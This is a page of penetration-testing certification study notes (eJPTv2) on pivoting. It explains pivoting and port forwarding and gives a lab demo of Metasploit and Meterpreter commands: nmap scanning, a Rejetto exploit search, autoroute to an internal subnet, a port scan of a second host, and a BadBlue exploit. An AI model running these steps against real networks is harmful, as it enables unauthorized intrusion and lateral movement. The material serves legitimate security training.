> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/pivoting.md).

# Pivoting

* Pivoting is a post-exploitation technique that involves utilizing a compromised host that is connected to multiple networks to gain access to systems within other networks.
* After gaining access to one host, we can use the compromised host to exploit other hosts on a private internal network to which we could not access previously.
* Meterpreter provides us with the ability to add a network route to the internal network's subnet, perform port forwarding and consequently scan and exploit other systems on the network.

**Port Forwarding**

* Port forwarding  is the process of redirecting traffic from a specific port on a target system to a specific port on our system.
* In the context of pivoting, we can forward a remote port on a previously inaccessible host to a local port on our Kali Linux system so that we can remotely interact/exploit the service running on the port.

<figure><img src="/files/a0cAbfqyEl45YeVM4R6k" alt=""><figcaption></figcaption></figure>

DEMO

```
ping <target1 IP>
ping <target2 IP>
```

```
nmap -sV -p 80 <target1 IP>
```

* exploit Rejetto&#x20;

```
searchsploit Rejetto 
```

```
>>>> sysinfo
>>>> getuid 
>>>> ipconfig 
>>>> run autoroute -s 10.0.29.0/20
>>>> run autoroute -p
>>>> background
> search portscan
> use auxiliary/scanner/portscan/tcp
> show options
> set RHOSTS <IP> target2
> set PORTS 1-100
> exploit 
> sessions 1

> search badblue and exploit with target2
>>>> sysinfo
>>>> getuid
>>>> sessions 
>>>> sessions 2
```
